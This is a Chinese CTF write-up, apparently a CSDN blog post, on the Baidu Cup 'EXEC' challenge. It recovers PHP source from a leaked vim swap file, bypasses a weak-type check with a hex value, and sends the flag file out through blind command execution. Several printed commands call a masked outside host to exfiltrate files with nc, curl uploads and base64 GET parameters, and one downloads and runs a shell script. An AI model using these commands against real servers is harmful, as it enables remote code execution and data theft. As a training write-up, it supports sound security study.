“百度杯”CTF比赛 十月场 EXEC

WP

首先进入环境,有两种方式得到源码。一种是直接dirsearch扫,扫出存在.index.php.swp,第二种是f12看源码,发现:
在这里插入图片描述

暗示可能存在vim源码泄露,也能猜到.index.php.swp。
下载下面,vim -r index.php.swp,就可以复原文件,得到index.php的源码:

<?php
/*
flag in flag233.php
*/
function check($number)
{
    $one = ord('1');
    $nine = ord('9');
    for ($i = 0; $i < strlen($number); $i++)
    {
        $digit = ord($number{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            return false;
        }
    }
    return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
    setcookie('auth','tcp tunnel is forbidden!');
    if(isset($_POST['cmd'])){
        $command=$_POST[cmd];
        $result=exec($command);
        //echo $result;
    }
}else{
    die('no sign');
}

首先是check函数的绕过。因为是弱类型比较,我们可以用十六进制来绕过,让sign=0xabcdef,要注意的是,不要用hackbar上的十六进制来搞。

接下来就是命令执行了。因为仅仅用了exec,所以没有回显,不能直接得到flag的内容。

我的方法和网上的WP不太一样。
先在自己的主机下面写一个1.sh,内容如下:

cat flag233.php | nc xxx.xx.xxx.xxx 39009

然后
在这里插入图片描述
接下来命令执行:

curl xxx.xx.xxx.xxx/1.sh > /tmp/1.sh
bash /tmp/1.sh

在这里插入图片描述
成功得到flag。
需要注意的是,你curl访问的端口是你真正的放文件的端口,比如我这里的端口是80,但是nc监听的是39009。

在网上找WP,看了另外几种方法:

第一种方法用了一个python脚本进行sleep() 进行 类似sql盲注那种。
感觉这样挺麻烦的,就没弄。

第二种方法是本机:nc -ulp 8888 远程:nc -u ip port < flag223.php //这里就是一个反向输出
这种我经过尝试,发现不行,但是网上很多WP都是这样得到flag的,应该是题目环境有了问题。

第三种方法是也是用curl,姿势如下:

现在本地写一个接受的php文件:

<?php

$feng=$_FILES['feng']['tmp_name'];
move_uploaded_file($feng,'feng.txt');   //把上传的文件移动到feng.txt

?>

然后命令执行:

cmd=curl xxx.xx.xxx.xxx/2141weda.php -F "feng=@flag233.php"

然后访问feng.txt,就可以成功得到flag。

第四种方法相当于先得到flag的内容,然后把内容当成get参数进行访问,这时候访问的记录在日志文件里,去访问日志文件就可以得到flag。

cmd=data=$(cat flag233.php|base64);curl xxx.xx.xxx.xxx?a=$data

使用了base64是因为直接传输可能会因为某些字符而中断。
上面是没使用base64而中断的,下面是正常的:
在这里插入图片描述
然后base64解码就可以得到flag了。

©️2020 CSDN 皮肤主题: 游动-白 设计师:上身试试 返回首页